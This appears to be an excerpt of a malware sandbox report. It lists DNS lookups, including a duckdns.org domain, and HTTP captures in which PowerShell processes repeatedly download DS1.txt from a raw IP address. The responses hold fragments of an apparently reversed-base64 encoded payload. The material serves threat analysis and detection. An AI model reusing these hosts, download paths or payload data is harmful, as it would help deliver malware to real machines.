Sep 26, 2024 10:57:14.460047960 CEST	1.1.1.1	192.168.2.5	0x3462	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:14.460047960 CEST	1.1.1.1	192.168.2.5	0x3462	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:57:15.824561119 CEST	1.1.1.1	192.168.2.5	0xd90e	No error (0)	dcmxz.duckdns.org		45.135.232.38	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:58:19.834306955 CEST	1.1.1.1	192.168.2.5	0x8358	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 26, 2024 10:58:19.834306955 CEST	1.1.1.1	192.168.2.5	0x8358	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.informacionoportuna.com

91.202.233.169

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	91.202.233.169	80	6644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 10:57:02.479974031 CEST	89	OUT	GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1 Host: 91.202.233.169 Connection: Keep-Alive
Sep 26, 2024 10:57:03.208159924 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 26 Sep 2024 08:57:03 GMT Content-Type: text/plain Content-Length: 64856 Connection: keep-alive Last-Modified: Mon, 16 Sep 2024 11:16:55 GMT ETag: "fd58-6223ab5def7c0" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7AMAAAADAAAwAAAAAAAAAAAAAoQD+kHbi1WZzNXYvwjCNoQD+0SLgAiCN4Tej5WZk5WZwVGZvwDIgoQD+kHbi1WZzNXQ05WZk5WZwVGZvwDIgACIK0gPvACIgACIgACIK0gIqISPldWY1dmbhxGIgACIgACIgACIK0gImRWMmN2Y0QTM0YjY1kTN2ISPuV2avRVelt0YpxmY1BHIgACIgACIgACIK0gIqISPlJXd0NWZ0lGajJXQy92czV2YvJHcgACIgACIgACIgoQDiAjLw4CMuYjI942bpNnclZ
Sep 26, 2024 10:57:03.208188057 CEST	224	IN	Data Raw: 48 49 67 41 43 49 67 41 43 49 67 41 43 49 4b 30 67 49 7a 78 32 62 79 52 6e 62 76 4e 55 4c 75 39 57 62 74 39 32 51 75 4d 33 64 76 52 6d 62 70 64 6c 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 54 69 30 54 5a 74 46 6d 62 67 41 43 49 67 41 43 49 67 41 43 49 Data Ascii: HIgACIgACIgACIK0gIzx2byRnbvNULu9Wbt92QuM3dvRmbpdlL0Z2bz9mcjlWTi0TZtFmbgACIgACIgACIgoQDiIzMul2di0TZwlHdgACIgACIgACIgoQD5RXa05WZklUesJWblN3chxDIgACIgAiCN4TesJWblN3cBRnblRmblBXZkxDIgACIK0gP5NmblRmblBXZkxDIgoQDt0SI8ACIK0gPt0CIpI
Sep 26, 2024 10:57:03.208201885 CEST	1236	IN	Data Raw: 58 5a 30 46 47 62 67 51 6d 62 68 42 43 55 59 42 79 63 33 39 47 5a 75 6c 32 56 6f 41 79 63 6e 39 47 62 68 6c 47 5a 67 51 6d 62 68 42 79 63 73 39 6d 63 30 35 32 62 6a 42 69 62 76 31 57 62 76 4e 47 49 7a 64 33 62 6b 35 57 61 58 42 69 63 76 5a 47 49 Data Ascii: XZ0FGbgQmbhBCUYByc39GZul2VoAycn9GbhlGZgQmbhBycs9mc052bjBibv1WbvNGIzd3bk5WaXBicvZGIzVWblhGdgUGbiFmbFBSLtECPgAiCNoQDK0gPu9Wa0F2YpxGcwF2L8ACIK0gPzdmbpRHdlN1c39GZul2dvwDIgACIK0gPlJXY3FEa0FGUn52bs9CPlVnc05jIzdmbpRHdlN1c39GZul2VvYTMwIzLJ10Uv02bj5Cdm
Sep 26, 2024 10:57:03.208216906 CEST	224	IN	Data Raw: 58 59 6a 6c 47 62 77 42 58 59 67 55 47 61 30 42 43 64 68 68 47 64 67 4d 58 5a 30 46 32 59 70 52 6d 62 4a 42 53 4c 74 45 43 50 67 41 69 43 4e 6f 51 44 2b 6b 48 64 70 78 57 61 69 6c 47 64 68 42 58 62 76 4e 32 4c 38 41 43 49 4b 30 67 50 75 39 57 61 Data Ascii: XYjlGbwBXYgUGa0BCdhhGdgMXZ0F2YpRmbJBSLtECPgAiCNoQD+kHdpxWailGdhBXbvN2L8ACIK0gPu9Wa0F2YpxGcwF2L8ACIgAiCNoQD+0SL+8CIi0XY5EWNxEGM1QmZ4QTL1EWOi1COlZGNtMjYmJWLyETY3YGMlhzei0DZJByUPRWZ0J3bwBXdzxTLtECPgACIgACIK0gPt0CIwEDIzd3bk5WaXB
Sep 26, 2024 10:57:03.208230019 CEST	1236	IN	Data Raw: 53 4c 74 45 43 50 67 41 43 49 67 41 43 49 4b 30 67 43 4e 34 54 4c 74 34 7a 4c 67 49 53 66 34 63 54 59 6b 42 44 5a 32 59 47 4d 6b 4e 44 4f 74 49 6d 59 31 6b 54 4c 35 4d 6a 4d 30 30 53 4d 6c 42 44 4f 74 59 7a 4e 6a 5a 7a 4e 32 59 57 4d 37 4a 53 50 Data Ascii: SLtECPgACIgACIK0gCN4TLt4zLgISf4cTYkBDZ2YGMkNDOtImY1kTL5MjM00SMlBDOtYzNjZzN2YWM7JSPklEIT9EZlRncvBHc1NHPt0SI8ACIgACIgoQD+0SLgEjL4Ayc39GZul2Vg0SLhwDIgACIgAiCNoQD+0SL+8CIi0HOzUmNhRTY0QWO2QWLjlTYi1SM0QDNtkjYzUTLzUGOyYmMhRzei0DZJByUPRWZ0J3bwBXdzxTLt
Sep 26, 2024 10:57:03.208288908 CEST	1236	IN	Data Raw: 57 62 6c 68 32 59 7a 70 6a 62 79 56 6e 49 39 4d 6e 62 73 31 47 65 67 4d 58 5a 6e 56 47 62 70 5a 58 61 79 42 46 5a 6c 52 33 63 6c 56 58 63 6c 4a 48 50 67 41 43 49 67 41 43 49 4b 30 67 50 35 52 58 61 79 56 33 59 6c 4e 48 50 67 41 43 49 67 6f 51 44 Data Ascii: Wblh2YzpjbyVnI9Mnbs1GegMXZnVGbpZXayBFZlR3clVXclJHPgACIgACIK0gP5RXayV3YlNHPgACIgoQD+IiM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHIvZmbJR3c1JHd8ACIK0gPvICcwFmLu9Wa0F2YpxGcwFUeNJSPl1WYuBiIw4yNuAjLxISPu9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK
Sep 26, 2024 10:57:03.208311081 CEST	1236	IN	Data Raw: 41 41 41 41 41 52 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 2f 41 77 42 41 41 41 41 42 41 41 41 41 63 41 41 41 41 51 41 41 41 41 41 42 41 41 41 2b 2f 4f 42 39 43 41 41 41 41 41 41 Data Ascii: AAAAARAAAAAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAA/AwBAAAABAAAAcAAAAQAAAAABAAA+/OB9CAAAAAAPBgRA4EAJBwXA4EAPBQSAMFASBQRAYFAfBwUAYFAAAANCQNAAAAAAAAAAAAAKMIAAMOdAAAAAAAAAAAAAIA1AAA4gCAAAAJAAAAAAEAAAAAAAAAAAAAAAAAAAAIAAgGAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAIAA
Sep 26, 2024 10:57:03.208425045 CEST	1236	IN	Data Raw: 69 42 35 47 6f 45 42 63 51 42 4f 55 6d 45 43 63 51 42 4e 46 52 54 52 49 67 41 41 63 51 54 52 41 41 49 45 30 6c 45 64 41 41 41 46 30 6c 45 49 30 6c 45 64 4d 77 42 49 67 67 44 42 41 43 42 4f 77 52 41 67 51 67 44 4a 49 6f 45 31 48 6f 45 39 48 6f 45 Data Ascii: iB5GoEBcQBOUmECcQBNFRTRIgAAcQTRAAIE0lEdAAAF0lEI0lEdMwBIggDBACBOwRAgQgDJIoE1HoE9HoEOUwBN0jgRIQAgYQNCKRABAiB1IoEAAQBlIYEAASBO4gDCASBlIYECIwBGgACOIAIF4QZSEAIFwRHOEAAFUhgSAAAF4QBIUQHlJRBd4wBHwgDcIwBEgRVS0BCIMAIIwBCBAABBMBATIwECACCcARTRARVS0ggSEABg
Sep 26, 2024 10:57:03.208439112 CEST	1236	IN	Data Raw: 50 67 53 6b 50 67 53 67 51 2b 41 4b 52 48 49 34 41 43 48 51 52 42 64 34 51 42 64 49 77 41 67 67 67 44 4f 45 41 41 45 34 51 42 64 45 41 49 46 55 4f 67 53 41 41 49 46 45 4f 67 53 41 41 49 46 49 51 33 41 4b 52 32 41 4b 78 41 48 6b 51 42 64 34 51 41 Data Ascii: PgSkPgSgQ+AKRHI4ACHQRBd4QBdIwAgggDOEAAE4QBdEAIFUOgSAAIFEOgSAAIFIQ3AKR2AKxAHkQBd4QAgUQ1AKBAAUgABcwAOgQAAQACBcwAAAQblRXSEAQAJAAAxUDOCJENwATQBBDMtUzMxgTLFNUMx0iQDJDNtADMBJzNyUTNkAQApAAAAAAABAQAIUMgREQAgYAAAYDOFNUMxkzQwEEMw0iQzQkQtADRxETL0gjQ10iMy
Sep 26, 2024 10:57:03.208455086 CEST	1236	IN	Data Raw: 51 47 53 55 52 41 41 6b 67 44 64 41 41 41 45 30 55 45 47 4d 41 42 42 65 78 41 59 59 67 41 4a 59 67 41 49 67 68 41 43 41 51 42 59 49 51 41 41 51 51 43 43 6b 41 47 44 41 67 42 73 45 42 45 59 49 67 41 41 63 51 43 4a 67 68 41 41 55 51 43 42 45 41 41 Data Ascii: QGSURAAkgDdAAAE0UEGMABBexAYYgAJYgAIghACAQBYIQAAQQCCkAGDAgBsEBEYIgAAcQCJghAAUQCBEAAE4gDCIAAFEAZhVmcoRFbvJHdu92QNIAVBIRO4ATZ0MTOxYTNjVTY3cjY94WZr9GV5V2SjlGbiVHUgwCbhJHd1Vmb9Umc1RHb1NEIsAjLw4CMuQTPu9WazJXZWBCLilGby92Yz1GIsUGd1JWayRHdB52bpN3cp1mcl
Sep 26, 2024 10:57:03.213269949 CEST	1236	IN	Data Raw: 48 41 7a 42 51 59 41 30 32 52 41 41 41 58 41 55 47 41 79 42 51 59 41 63 48 41 30 42 67 5a 41 38 47 41 54 4e 52 41 41 4d 48 41 6e 42 67 62 41 6b 47 41 30 42 41 64 41 55 47 41 7a 42 51 4c 41 4d 48 41 74 64 42 41 41 55 47 41 73 42 51 61 41 59 47 41 Data Ascii: HAzBQYA02RAAAXAUGAyBQYAcHA0BgZA8GATNRAAMHAnBgbAkGA0BAdAUGAzBQLAMHAtdBAAUGAsBQaAYGAjBwcA02DAAwcAUGAzBwcAEGAsBwQPAAAlBgcAEGA3BAdAYGAvBwURAAAyBQaAQGAuBQaAcXDAAAdA4GAlBQbA4GAvBgcAkGA2BgbAU0FAAgbAcHAvBgbAsGAuBQVPAAABBwLA40BAAAIAsTBAAQZA0GAhBgTAkHAh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	91.202.233.169	80	7896	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 10:57:24.051206112 CEST	89	OUT	GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1 Host: 91.202.233.169 Connection: Keep-Alive
Sep 26, 2024 10:57:24.776057959 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 26 Sep 2024 08:57:24 GMT Content-Type: text/plain Content-Length: 64856 Connection: keep-alive Last-Modified: Mon, 16 Sep 2024 11:16:55 GMT ETag: "fd58-6223ab5def7c0" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7AMAAAADAAAwAAAAAAAAAAAAAoQD+kHbi1WZzNXYvwjCNoQD+0SLgAiCN4Tej5WZk5WZwVGZvwDIgoQD+kHbi1WZzNXQ05WZk5WZwVGZvwDIgACIK0gPvACIgACIgACIK0gIqISPldWY1dmbhxGIgACIgACIgACIK0gImRWMmN2Y0QTM0YjY1kTN2ISPuV2avRVelt0YpxmY1BHIgACIgACIgACIK0gIqISPlJXd0NWZ0lGajJXQy92czV2YvJHcgACIgACIgACIgoQDiAjLw4CMuYjI942bpNnclZ
Sep 26, 2024 10:57:24.776106119 CEST	1236	IN	Data Raw: 48 49 67 41 43 49 67 41 43 49 67 41 43 49 4b 30 67 49 7a 78 32 62 79 52 6e 62 76 4e 55 4c 75 39 57 62 74 39 32 51 75 4d 33 64 76 52 6d 62 70 64 6c 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 54 69 30 54 5a 74 46 6d 62 67 41 43 49 67 41 43 49 67 41 43 49 Data Ascii: HIgACIgACIgACIK0gIzx2byRnbvNULu9Wbt92QuM3dvRmbpdlL0Z2bz9mcjlWTi0TZtFmbgACIgACIgACIgoQDiIzMul2di0TZwlHdgACIgACIgACIgoQD5RXa05WZklUesJWblN3chxDIgACIgAiCN4TesJWblN3cBRnblRmblBXZkxDIgACIK0gP5NmblRmblBXZkxDIgoQDt0SI8ACIK0gPt0CIpIXZ0FGbgQmbhBCUYByc3
Sep 26, 2024 10:57:24.776145935 CEST	1236	IN	Data Raw: 53 5a 79 46 32 64 68 31 53 53 51 52 45 49 35 78 47 62 68 4e 57 61 30 46 57 62 76 52 58 64 68 42 53 5a 79 46 47 49 7a 35 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 6b 69 52 51 64 46 4b 67 34 32 62 70 52 58 59 6b 35 57 64 76 5a 45 49 75 39 57 61 Data Ascii: SZyF2dh1SSQREI5xGbhNWa0FWbvRXdhBSZyFGIz52bpRXYjlGbwBXYgkiRQdFKg42bpRXYk5WdvZEIu9Wa0FGduV2clJHUgM3dvRmbpdFIuMXSQREIgACIgACIK0gclh2ZphGI0FGIzd3bk5WaXBSeiBCZlxWYjNHI5xGbhNWa0FWbvRXdhBSZiBCdv5GIsxWa3BCZuFGIlJXY3FWLJBFRgMXag42bpRXYjlGbwBXYgUGa0BCdh
Sep 26, 2024 10:57:24.776180029 CEST	1236	IN	Data Raw: 51 44 75 39 47 49 6b 56 47 64 7a 56 47 64 67 34 57 5a 6c 4a 47 49 7a 46 47 61 67 34 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 4d 58 61 6f 52 48 49 30 46 47 61 30 42 79 63 75 39 57 61 7a 4a 58 5a 32 42 79 63 33 39 47 5a 75 6c 32 56 67 55 47 61 Data Ascii: QDu9GIkVGdzVGdg4WZlJGIzFGag42bpRXYjlGbwBXYgMXaoRHI0FGa0Bycu9WazJXZ2Byc39GZul2VgUGa0BiZvBCdzlGbgEEIt0SI8ACIgACIgoQD+42bpRXYjlGbwBXY8ACIgAiCN4jIxYnL5RXaslmYpRXYw12bjpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BSe0lGbpJWa0FGct92Y8ACIK0gCN4zbm5WS0
Sep 26, 2024 10:57:24.776215076 CEST	1236	IN	Data Raw: 43 41 41 41 41 41 41 55 47 41 34 42 51 5a 41 34 43 41 30 42 67 62 41 55 47 41 70 42 41 62 41 4d 45 41 41 41 51 5a 41 30 47 41 68 42 67 54 41 77 47 41 68 42 67 62 41 49 48 41 6c 42 41 64 41 34 47 41 4a 42 51 41 41 73 41 41 32 41 41 41 41 41 44 41 Data Ascii: CAAAAAAUGA4BQZA4CA0BgbAUGApBAbAMEAAAQZA0GAhBgTAwGAhBgbAIHAlBAdA4GAJBQAAsAA2AAAAADAuAwNA4CAwAgLAEDAAAAAA4GAvBQaAMHAyBQZAYFAlBAbAkGAGBQAAgAAwAAAAAAAAAAAA4GAvBQaAQHAwBQaAIHAjBwcAUGAEBQZAwGApBgRAEAABAgKAAAAAAAAAAAAlBQbAEGAOBQeA4GAhBAcA0GAvBwQAEAAB
Sep 26, 2024 10:57:24.776251078 CEST	1120	IN	Data Raw: 59 45 4f 45 41 42 67 30 51 33 42 4b 52 42 64 49 77 42 48 77 51 42 64 45 41 41 46 55 69 67 52 77 58 45 43 63 77 42 4f 30 51 41 41 51 67 43 4e 45 41 41 45 55 69 67 52 6f 51 41 41 59 41 44 4b 45 41 41 45 30 67 43 42 41 41 42 4f 6f 51 41 41 51 67 43 Data Ascii: YEOEABg0Q3BKRBdIwBHwQBdEAAFUigRwXECcwBO0QAAQgCNEAAEUigRoQAAYADKEAAE0gCBAABOoQAAQgCKEAAEUigRsQAAYADLEAAE0wCBAABOsQAAQgCLEAAEwXEBcABFEQAgQACF0RBIQwBHgnE4JRAlFYEV4ACIUwBOgnEBcABIAwEBASBIgQBdMwBGwhDOIAAFUACF0RZSQwBIggACcABIgQiCKBCJKoEBUAAMUQHF0RBd
Sep 26, 2024 10:57:24.776287079 CEST	1236	IN	Data Raw: 52 4e 53 6f 51 4d 53 55 78 45 41 4d 68 42 44 45 5a 67 53 41 77 45 42 30 69 45 56 45 41 41 4c 34 67 44 4f 6b 6a 45 46 30 68 44 4a 49 52 44 53 77 52 4e 53 6f 51 4d 53 55 52 41 74 49 52 46 58 55 59 67 53 45 51 62 42 4b 52 46 35 46 6f 45 35 46 6f 45 Data Ascii: RNSoQMSUxEAMhBDEZgSAwEB0iEVEAAL4gDOkjEF0hDJIRDSwRNSoQMSURAtIRFXUYgSEQbBKRF5FoE5FoEB0WgSUhDVGYERGoEFAAHOkYgRUYgSIAAJEYgRkXgSEAAIkXgSwRAAYgD5FoEBAiBF0RdBKRAgcQcBKBAAUAHBcwAAMhABASBAMBAgQAeSEQZBGRFHAwEBUWgRUBAgkAeSEgCEAgHB0WgSUBAeEQGSURABABEAMRAB
Sep 26, 2024 10:57:24.776320934 CEST	1236	IN	Data Raw: 6e 45 41 41 43 42 38 46 42 41 67 51 41 64 53 41 41 49 45 30 51 41 42 41 43 42 4d 45 51 41 67 51 67 41 42 45 41 49 45 34 41 41 67 4d 67 44 43 45 41 49 45 67 67 44 42 49 41 49 46 34 67 44 42 49 41 49 46 55 51 48 41 41 43 42 46 30 52 41 42 41 53 42 Data Ascii: nEAACB8FBAgQAdSAAIE0QABACBMEQAgQgABEAIE4AAgMgDCEAIEggDBIAIF4gDBIAIFUQHAACBF0RABASBNAAIDoAAgMwCAAyALEQAgQgCBEAIE0nEBEAIF4ACBACB0JhBDwXEGMACAgyAIgnEBgSBIAAIDgAeSEAIF0AeSEAIFoAeSEAIF4AeSEAIFgnEAACB4JRAZIRF4JRACAyC4JhBDwBAoMgAAAyAcAAIDgnEBkhEVEQAg
Sep 26, 2024 10:57:24.776359081 CEST	1236	IN	Data Raw: 68 42 44 6b 67 45 47 4d 67 44 47 49 51 41 41 41 79 41 42 41 41 41 44 6b 49 34 30 6b 68 56 63 70 33 74 49 41 41 36 38 66 45 55 4b 75 4f 72 4a 4f 45 50 67 65 57 52 65 33 6a 36 41 41 41 41 35 41 77 59 41 51 43 41 73 41 41 4f 41 4d 47 41 6b 41 41 4c Data Ascii: hBDkgEGMgDGIQAAAyABAAADkI40khVcp3tIAA68fEUKuOrJOEPgeWRe3j6AAAA5AwYAQCAsAAOAMGAkAALAcDAjBAJAACAlBAcAkHA0BAIAkCAyAwMAgHAlBALAYDAxAAdAgHAlBALAgDA0BAeAUGAoUEAAEDAjBAJAACAlBAcAkHA0BAIAkCAkBQZAMHA1BAIAIHAlBgdAUGAuBAKrAAAgAQfAIDAYBgOAADA79AAAACA9BwMA
Sep 26, 2024 10:57:24.776390076 CEST	104	IN	Data Raw: 30 43 41 41 41 64 41 6b 47 41 69 42 41 4e 41 59 7a 43 41 41 51 5a 41 55 48 41 79 42 41 56 4a 41 41 41 67 4d 41 41 41 51 48 41 6d 42 77 62 41 4d 48 41 76 42 67 63 41 4d 47 41 70 42 51 54 54 41 41 41 54 42 77 54 46 41 41 41 79 42 51 5a 41 4d 48 41 Data Ascii: 0CAAAdAkGAiBANAYzCAAQZAUHAyBAVJAAAgMAAAQHAmBwbAMHAvBgcAMGApBQTTAAATBwTFAAAyBQZAMHAVlAAAQEAJBwVAgUCAAwbAY
Sep 26, 2024 10:57:24.781296015 CEST	1236	IN	Data Raw: 47 41 75 42 51 53 41 51 48 41 75 42 51 5a 41 6b 47 41 73 42 77 51 56 41 41 41 45 42 51 53 41 63 46 41 49 42 41 49 41 49 48 41 79 42 51 52 52 41 41 41 79 41 41 65 46 41 41 41 6c 42 51 62 41 45 47 41 4f 42 51 65 41 77 47 41 6b 42 67 62 41 55 47 41 Data Ascii: GAuBQSAQHAuBQZAkGAsBwQVAAAEBQSAcFAIBAIAIHAyBQRRAAAyAAeFAAAlBQbAEGAOBQeAwGAkBgbAUGApBgcAYUGBAQfAEDA1AAOAIEACBANAADAwAQQAEEAwAAMA0CA1AwMAEDA4AQLAUEADBQMAEDAtAgQAMEAyAANA0CAwAAMAEEAyAwNAIDA1AQNAsXTBAQfAYDA4AQRAMEAxAQMAkDADBAMAEEAwAAMA0CACBwMAQEAC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49721	91.202.233.169	80	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 10:58:03.669411898 CEST	89	OUT	GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1 Host: 91.202.233.169 Connection: Keep-Alive
Sep 26, 2024 10:58:04.406827927 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 26 Sep 2024 08:58:04 GMT Content-Type: text/plain Content-Length: 64856 Connection: keep-alive Last-Modified: Mon, 16 Sep 2024 11:16:55 GMT ETag: "fd58-6223ab5def7c0" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: 